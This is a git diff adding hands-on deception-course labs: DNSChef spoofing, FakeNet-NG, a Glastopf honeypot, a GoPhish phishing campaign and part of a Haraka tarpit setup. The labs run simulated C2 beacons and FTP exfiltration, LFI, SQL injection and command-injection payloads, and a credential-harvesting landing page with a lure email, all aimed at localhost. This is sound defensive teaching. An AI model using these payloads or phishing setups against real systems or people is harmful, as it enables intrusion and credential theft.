+ +- First, we’ll use DNSChef to **observe** DNS traffic, without spoofing anything. + +### Start DNSChef (logging only) + +- Open **Terminal 1** and run: + +```bash +cd ~/ADCD/dnschef/ +``` + +```bash +sudo python3 dnschef.py --interface 0.0.0.0 --port 53530 --nameserver 8.8.8.8 +``` + +Explanation: + +- `--interface 0.0.0.0` – listen on all interfaces +- `--nameserver 8.8.8.8` – forward all queries to Google DNS, without changes + +You should see DNSChef starting and waiting for queries. Keep this terminal open + +2026-03-17_11-29 + + +### Send queries to DNSChef + +Open **Terminal 2** and run: + +```bash +dig @127.0.0.1 -p 53530 www.google.com +dig @127.0.0.1 -p 53530 example.com +dig @127.0.0.1 -p 53530 www.wikipedia.org +``` + +- `@127.0.0.1` tells `dig` to use DNSChef (listening on localhost) as the DNS server + +Watch **Terminal 1** (DNSChef): + +- You should see **logs** of each **query** being made and the response from **upstream** +- This is what a defender/analyst would see when monitoring DNS traffic + +2026-03-17_11-31 + + + +- You can stop **DNSChef** with `Ctrl + C` in **Terminal 1** + +- We’ll restart it in the next steps with **spoofing enabled** + +--- + +## Simple DNS spoofing (fake IP for all domains) + +- Now let’s use **DNSChef** to **lie** about where domains point to + +- We’ll make **every** DNS query resolve to the same IP + +- For demonstration, we’ll use `127.0.0.1` (your own machine) + +### Start DNSChef with global IP spoofing + +In **Terminal 1**: + +```bash +sudo python3 dnschef.py --interface 0.0.0.0 --port 53530 --fakeip 127.0.0.1 +``` + +- `--fakeip 127.0.0.1` – return `127.0.0.1` for **all A-record (IPv4)** DNS queries +- No upstream **DNS server** is specified now – **DNSChef** always responds with the fake IP + +### Test spoofing with dig + +In **Terminal 2**: + +```bash +dig @127.0.0.1 -p 53530 example.com +short +dig @127.0.0.1 -p 53530 www.google.com +short +dig @127.0.0.1 -p 53530 anyrandomdomainthatdoesnotexist123.com +short +``` + +2026-03-17_11-33 + + + +You should see that all of them return: + +```text +127.0.0.1 +``` + +From the **attacker** perspective: + +- Any client using this DNS server will be redirected to **your** IP + +From the **defender/deception** perspective: + +- You can point **malware** or suspicious hosts to a **sinkhole** IP where you log or analyze them + +Stop DNSChef with `Ctrl + C` in **Terminal 1** when you’re done + +--- + +## Targeted spoofing of a single domain (with upstream passthrough) + +- Global spoofing is noisy and easy to detect + +- A more realistic use case is to **spoof only one domain** and let others resolve normally. + +### Scenario + +- Only `login.badbank.test` should be spoofed to a fake IP (our machine). +- All other domains should resolve via a real DNS server (e.g. `8.8.8.8`). + +### Start DNSChef with selective spoofing + +In **Terminal 1**: + +```bash +sudo python3 dnschef.py \ + --interface 0.0.0.0 \ + --port 53530 \ + --nameserver 8.8.8.8 \ + --fakeip 127.0.0.1 \ + --fakedomains login.badbank.test +``` + +2026-03-17_11-34 + + +Explanation: + +- `--fakeip 127.0.0.1` – fake IP to return +- `--fakedomains login.badbank.test` – spoof **only** this domain +- `--nameserver 8.8.8.8` – use Google DNS for all other domains (pass-through) + +### Test the spoofed domain vs normal domains + +In **Terminal 2**: + +```bash +# Spoofed domain +dig @127.0.0.1 -p 53530 login.badbank.test +short +``` + +```bash +# Normal domains (pass-through to real DNS) +dig @127.0.0.1 -p 53530 example.com +short +``` + +```bash +dig @127.0.0.1 -p 53530 www.google.com +short +``` + +- `login.badbank.test` should resolve to `127.0.0.1`. +- Other domains should resolve to their **real IP addresses** (similar to your earlier tests). + + +2026-03-17_11-36 + + + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/FakeNet-NG.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/RITA.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/FakeNet-NG.md b/IntroClassFiles/Tools/IntroClass/ADHD/FakeNet-NG.md new file mode 100644 index 00000000..c404ad8b --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/FakeNet-NG.md @@ -0,0 +1,222 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# FakeNet-NG + +# For the Ubuntu VM + + +### In this lab we will +- Run **FakeNet-NG** on Linux +- See how it intercepts and emulates network services +- Simulate “malware-like” traffic from the same host +- Inspect logs / captures to understand what happened + +--- + +## Start FakeNet-NG (the fake Internet) + +- Open up a **terminal** and run + +```bash +cd ~/ADCD/fakenet-ng +``` + +```bash +sudo fakenet -c lab.ini +``` + +You should see something like: + +2026-03-17_11-39 + + +**FakeNet-NG** will **keep running in the foreground** + +Leave this terminal window open. This is your **“Deception / Analyst” view** + +--- + +## See what FakeNet-NG is listening on + +Open a **second terminal**. + +### List listening ports + +```bash +sudo ss -tulnp | grep -i fakenet +``` + +2026-03-17_11-48 + + + +You should see FakeNet-NG listening on multiple ports, for example: + +- 80 (**HTTP**) +- 443 (**HTTPS/SSL**) +- 21 (**FTP**) +- 25 (**SMTP**) +- Others depending on your version/config + +> FakeNet-NG pretends to be many services at once, +> so “**malware**” thinks it is talking to the real **Internet** + +--- + +## Simulate simple web "malware" traffic + +- FakeNet-NG is still running in **terminal 1**. +- In **terminal 2**, we'll play the role of the "malware" sending traffic. + +> [!NOTE] +> Since the DNS listener is disabled in `lab.ini`, we use `--resolve` to bypass DNS lookup and connect directly to FakeNet-NG on `127.0.0.1`. + +### HTTP request to a domain + +```bash +curl http://totally-not-evil-c2.com/ --resolve totally-not-evil-c2.com:80:127.0.0.1 +``` + +Watch **terminal 1** (FakeNet-NG window): + +- You should see an HTTP request logged by FakeNet-NG +- FakeNet-NG will return some default HTML content in terminal 2: + +2026-03-17_22-13 + + +### HTTPS request (FakeNet as fake TLS server) + +```bash +curl https://really-bad-c2.example/ -k --resolve really-bad-c2.example:443:127.0.0.1 +``` + +--- + +## Simulate FTP "malware" traffic + +Some malware uses **FTP** to exfiltrate data or download additional payloads. +FakeNet-NG has a fully emulated FTP server listening on port **21**. + +### Connect to the fake FTP server + +```bash +ftp 127.0.0.1 +``` + +When prompted, enter any username and password - FakeNet-NG will accept them: + +``` +Name: malware +Password: infected +``` + +2026-03-17_22-28 + +Watch **terminal 1** (FakeNet-NG window): + +- You should see the FTP connection logged with the banner FakeNet-NG presents +- The fake credentials you entered will be captured in the logs + +2026-03-17_22-27 + + +### Try some FTP commands + +Once connected, try a few commands to generate more traffic: + +```ftp +ls +pwd +get secret-data.txt +quit +``` + +2026-03-17_22-28 + + +Watch **terminal 1**: + +- Each command will be logged by FakeNet-NG +- FakeNet-NG will respond as if it were a real FTP server +- File requests will be served from the `defaultFiles/` webroot defined in `lab.ini` + +> In a real investigation, captured FTP credentials and filenames are valuable **IOCs** +> that reveal what data the malware was trying to steal or download. + +--- + +## Simulate a port-scanning "malware" + +Now we'll pretend the malware is scanning common service ports. + +### Scan common ports on localhost + +```bash +nmap -Pn -p 21,25,53,80,443,110,1337 127.0.0.1 +``` + +- From **nmap's perspective** (attacker view), it will look like these ports are open + and responding on `127.0.0.1`. + +2026-03-17_22-24 + + +> [!NOTE] +> When FakeNet is active on Linux, **SYN** scans often show ports as **filtered**. +> This happens because **FakeNet** intercepts packets using **iptables**/**NFQUEUE**. + +- In **terminal 1** (FakeNet-NG), you'll see many connection attempts logged + against the emulated services. + +You can push it further with a more aggressive scan (optional, but noisy): + +```bash +nmap -sS -p- 127.0.0.1 +``` + +FakeNet-NG will try to keep up and emulate responses, again acting as a fake, but convincing, network. + +--- + +## Look at captures / logs + +Stop FakeNet-NG by going to **terminal 1** and pressing: + +```text +Ctrl + C +``` + +Depending on version/config, FakeNet-NG will: + +- Save a **PCAP** file with captured traffic + +In the directory where you started FakeNet-NG, run: + +```bash +ls +``` + +Look for `*.pcap` files + +If you see a `.pcap` file, you can open it with Wireshark later for deeper analysis: + +```bash +wireshark captured_traffic.pcap +``` + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/Canarytokens.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/DNSChef.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/FileAudit.md b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/FileAudit.md similarity index 84% rename from IntroClassFiles/Tools/IntroClass/FileAudit/FileAudit.md rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/FileAudit.md index c73475fa..c2bc872c 100644 --- a/IntroClassFiles/Tools/IntroClass/FileAudit/FileAudit.md +++ b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/FileAudit.md @@ -60,7 +60,7 @@ Next we will nee to click on Select a principal in the Auditing Entry for Secret ![](attachment/SelectPrincipal.png) -In the Select USer or Group window please type "Everyone" then select OK. +In the Select User or Group window please type "Everyone" then select OK. ![](attachment/SelectUserOrGroup.png) @@ -86,4 +86,19 @@ Once it opens the security log scroll down for the File System logs, then select ![](attachment/SecretLog4656.png) -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) + +*** + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Caldera.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + + diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/AddPrincipal.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/AddPrincipal.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/AddPrincipal.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/AddPrincipal.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/AllFullControl.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/AllFullControl.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/AllFullControl.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/AllFullControl.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/LocalSecurityPolicyOpen.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/LocalSecurityPolicyOpen.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/LocalSecurityPolicyOpen.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/LocalSecurityPolicyOpen.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/Local_Audit_Audit_Object.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/Local_Audit_Audit_Object.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/Local_Audit_Audit_Object.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/Local_Audit_Audit_Object.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/NewFolder.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/NewFolder.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/NewFolder.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/NewFolder.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/ObjectAccessSuccessFailure.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/ObjectAccessSuccessFailure.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/ObjectAccessSuccessFailure.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/ObjectAccessSuccessFailure.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/OpenEventViewer.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/OpenEventViewer.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/OpenEventViewer.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/OpenEventViewer.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/SecretFile.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/SecretFile.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/SecretFile.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/SecretFile.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/SecretLog4656.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/SecretLog4656.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/SecretLog4656.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/SecretLog4656.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/SecretProp.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/SecretProp.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/SecretProp.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/SecretProp.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/Security_Audit_Tab.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/Security_Audit_Tab.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/Security_Audit_Tab.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/Security_Audit_Tab.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/SelectPrincipal.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/SelectPrincipal.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/SelectPrincipal.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/SelectPrincipal.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/SelectUserOrGroup.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/SelectUserOrGroup.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/SelectUserOrGroup.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/SelectUserOrGroup.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/Something.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/Something.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/Something.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/Something.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachement/WindowsSecurityLogs.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/WindowsSecurityLogs.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachement/WindowsSecurityLogs.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachement/WindowsSecurityLogs.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/AddPrincipal.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/AddPrincipal.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/AddPrincipal.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/AddPrincipal.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/AllFullControl.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/AllFullControl.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/AllFullControl.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/AllFullControl.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/LocalSecurityPolicyOpen.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/LocalSecurityPolicyOpen.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/LocalSecurityPolicyOpen.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/LocalSecurityPolicyOpen.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/Local_Audit_Audit_Object.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/Local_Audit_Audit_Object.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/Local_Audit_Audit_Object.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/Local_Audit_Audit_Object.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/NewFolder.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/NewFolder.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/NewFolder.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/NewFolder.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/ObjectAccessSuccessFailure.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/ObjectAccessSuccessFailure.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/ObjectAccessSuccessFailure.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/ObjectAccessSuccessFailure.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/OpenEventViewer.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/OpenEventViewer.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/OpenEventViewer.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/OpenEventViewer.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/SecretFile.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/SecretFile.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/SecretFile.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/SecretFile.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/SecretLog4656.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/SecretLog4656.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/SecretLog4656.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/SecretLog4656.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/SecretProp.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/SecretProp.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/SecretProp.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/SecretProp.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/Security_Audit_Tab.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/Security_Audit_Tab.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/Security_Audit_Tab.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/Security_Audit_Tab.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/SelectPrincipal.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/SelectPrincipal.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/SelectPrincipal.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/SelectPrincipal.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/SelectUserOrGroup.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/SelectUserOrGroup.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/SelectUserOrGroup.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/SelectUserOrGroup.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/Something.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/Something.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/Something.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/Something.png diff --git a/IntroClassFiles/Tools/IntroClass/FileAudit/attachment/WindowsSecurityLogs.png b/IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/WindowsSecurityLogs.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/FileAudit/attachment/WindowsSecurityLogs.png rename to IntroClassFiles/Tools/IntroClass/ADHD/FileAudit/attachment/WindowsSecurityLogs.png diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Glastopf.md b/IntroClassFiles/Tools/IntroClass/ADHD/Glastopf.md new file mode 100644 index 00000000..65d9ddfc --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/Glastopf.md @@ -0,0 +1,146 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# Glastopf + +# Ubuntu VM + +**Goal:** Run a working Glastopf web-application honeypot, generate simple attacks against it, and inspect captured requests and payloads + +--- + +### Start Glastopf container + +- Go the its directory + +```bash +cd ~/ADCD/glastopf +``` + +```bash +sudo docker run -d --rm \ + --name glastopf \ + -p 8080:80 \ + -v $(pwd)/data:/var/lib/glastopf \ + -v $(pwd)/logs:/var/log/glastopf \ + decepot/glastopf:latest +``` + +--- + +### Verify Glastopf is running and listening + +- Check process or Docker container, run: + +```bash +ps aux | grep glastopf +``` + +2026-03-23_14-12 + + +- Tail the main **log** + +```bash +sudo docker logs -f glastopf +``` + +2026-03-23_14-14 + +--- + +## Generate attacks + +- Open another **terminal** (attacker) and try the following. These simulate common web malicious requests. + +### Simple directory traversal / LFI attempts + +```bash +curl -v "http://localhost:8080/index.php?page=../../etc/passwd" +``` + +2026-03-23_14-19 + +```bash +curl -v "http://localhost:8080/?file=../boot.ini" +``` + +2026-03-23_14-22 + + +- That is how it looks from a **hacker**'s perspective(**fake information**) + +- When in reality, all that is **fake** and it is being logged on the **defender**'s side: + +2026-03-23_14-23 + +### SQL injection-like payloads + +```bash +curl 'http://localhost:8080/index' \ + -X POST \ + -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0' \ + -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \ + -H 'Accept-Language: en-US,en;q=0.9' \ + -H 'Accept-Encoding: gzip, deflate, br, zstd' \ + -H 'Referer: http://localhost:8080/index' \ + -H 'Content-Type: application/x-www-form-urlencoded' \ + -H 'Origin: http://localhost:8080' \ + -H 'Connection: keep-alive' \ + -H 'Upgrade-Insecure-Requests: 1' \ + -H 'Sec-Fetch-Dest: document' \ + -H 'Sec-Fetch-Mode: navigate' \ + -H 'Sec-Fetch-Site: same-origin' \ + -H 'Priority: u=0, i' \ + --data-raw 'login=admin&password=%27+OR+%271%27%3D%271%27--&submit=Submit' +``` + +OR (pun intended) + +```bash +curl -v "http://localhost:8080/search.php?q=1%27%20UNION%20SELECT%20NULL--" +``` + +- Look at the **fake information** and then back to see how it has been **logged** on the **defender**'s terminal + +### Remote command injection attempts + +```bash +curl -v "http://localhost:8080/?cmd=whoami" +curl -v "http://localhost:8080/?cmd=;id" +``` + +### Use automated scanners + +Install basic testing tools and run quick scans against `localhost`. + +```bash +nikto -h http://localhost:8080 +``` + +```bash +sqlmap -u "http://localhost:8080/index.php?id=1" --batch --level=1 +``` + +> Each of the above requests are recorded by **Glastopf** and should show up in **logs** and the event store. + +>[!IMPORTANT] +>To stop **Glastopf** do: +> +>`sudo docker stop glastopf` + + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/ModSecurity.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/webhoneypot.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/GoPhish.md b/IntroClassFiles/Tools/IntroClass/ADHD/GoPhish.md new file mode 100644 index 00000000..67b0deb1 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/GoPhish.md @@ -0,0 +1,252 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# Ubuntu VM + +# GoPhish + +This lab demonstrates **what GoPhish can do** from both an attacker and defender perspective +You will **launch a phishing campaign**, and **observe captured credentials and events** + +--- + +## Lab Objectives + +In this lab you will: +- Launch the GoPhish web interface +- Create a basic phishing campaign +- Capture submitted credentials +- Analyze campaign results + + +--- + +# Start GoPhish + +``` +cd ~/BnB/gophish +``` + +```bash +sudo ./gophish +``` + +You should see output similar to: +``` +Starting admin server at http://0.0.0.0:3333 +``` + +2026-03-17_22-40 + + +>[!IMPORTANT] +>Leave this terminal open + +--- + +# Step 4 – Access the Admin Panel + +Open a browser and go to: + +``` +https://localhost:3333 +``` + +image + + +### Default credentials: +- **Username:** admin +- **Password:** (shown in terminal output) + + +2026-03-17_22-43 + + +Copy the password from the terminal and log in + +- Make your own password afterwards: + +image + +--- + +# Step 5 – Create a Sending Profile + +1. Click **Sending Profiles** in the **left** tab + +image + +2. Click **New Profile** + +image + +3. Use: + - Name: `Local SMTP` + - Host: `127.0.0.1:1025` + - From: `IT Support ` +4. Click **Save** + +>[!NOTE] +>We are using port `1025` because that's the port where **MailHog** will be serving and listening + +--- + +# Step 6 – Create a Landing Page (Credential Capture) + +1. Click **Landing Pages** + +image + +2. Click **New Page** + +image + +3. Name: `Fake Login` +4. Check: + - Capture Submitted Data + - Capture Passwords + +image + +5. HTML Content: + +```html +

Company Login

+
+

+

+ +
+``` + +6. Click **Save Page** + +--- + +# Step 7 – Create an Email Template + +1. Click **Email Templates** + +image + +2. Click **New Template** + +image + +3. Name: `Password Reset` +4. Subject: `Urgent Password Reset` +5. Body(HTML): + +```html +

Your password is expiring.

+

Click here to reset it

+``` + +6. Click **Save Template** + +--- + +# Step 8 – Create a User Group + +1. Click **Users & Groups** + +image + +2. Click **New Group** + +image + +3. Name: `Test Users` +4. Add user: + - First Name: `Test` + - Last Name: `User` + - Email: `test@company.local` +5. Click **+Add** + +image + +6. Click **Save Changes** + +--- + +# Step 9 - Run MailHog + +```bash +MailHog +``` + + +2026-03-17_22-53 + + +# Step 10 – Launch a Phishing Campaign + +1. Click **Campaigns** + +image + +2. Click **New Campaign** + +image + +3. Name: `Demo Campaign` +4. Select: + - Email Template: `Password Reset` + - Landing Page: `Fake Login` + - Sending Profile: `Local SMTP` + - Users Group: `Test Users` +5. Click **Launch Campaign** + +--- + +- Now go back to the **MailHog Terminal** + +- You should see the new mail + +2026-03-17_23-06 + + +- What we get out of it? + +1. Sender and recipient accepted +``` +MAIL FROM: +RCPT TO: +250 ok +``` + +2. Email content delivered +``` +DATA +Subject: Urgent Password Reset +X-Mailer: gophish +``` + +3. Email stored by MailHog +``` +Storing message nYyPFT2-foO9BZ2z... +250 Ok: queued +``` + +4. Body of the email +``` +

Your password is expiring.

+

Click here to reset it

' +``` + +...and more very in depth details + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Mailoney.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/canarytokens/Canarytokens.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Haraka.md b/IntroClassFiles/Tools/IntroClass/ADHD/Haraka.md new file mode 100644 index 00000000..0bbf489d --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/Haraka.md @@ -0,0 +1,333 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + +# For the Ubuntu VM + +# Haraka + +**Goal:** Build a simple Haraka SMTP that demonstrates SMTP interaction, using the `tarpit` plugin to slow and frustrate attackers + +--- + +# Start + +- Open a **terminal** + +- Go to the lab directory and make sure **Haraka** is set up + +```bash +cd ~/ADCD/haraka +``` + +```bash +haraka -i . +``` + +```bash +ls -la +``` + +Screenshot From 2026-03-14 22-10-01 + + + +- You now have a **Haraka** instance with `config/`, `plugins/`, etc. + +--- + +## Configure Haraka for tarpit deception + +1. Set **Haraka** to listen on **port 2525**. Edit `config/smtp.ini`: + +```bash +nano config/smtp.ini +``` + +- Add at the end: + +```ini +listen=0.0.0.0:2525 +``` + +- To exit and save the file do `Ctrl + x` and `y` and `Enter` + +2. Enable a tiny **HTTP endpoint** for live observation. Create `config/http.ini`: + +```bash +nano config/http.ini +``` + +```ini +listen=0.0.0.0:8080 +``` + +- To exit and save the file do `Ctrl + x` and `y` and `Enter` + +3. Edit `config/plugins` so it contains these lines (order matters - keep `tarpit` early): + +```bash +rm config/plugins +``` + +```bash +nano config/plugins +``` + +- Paste the following: + 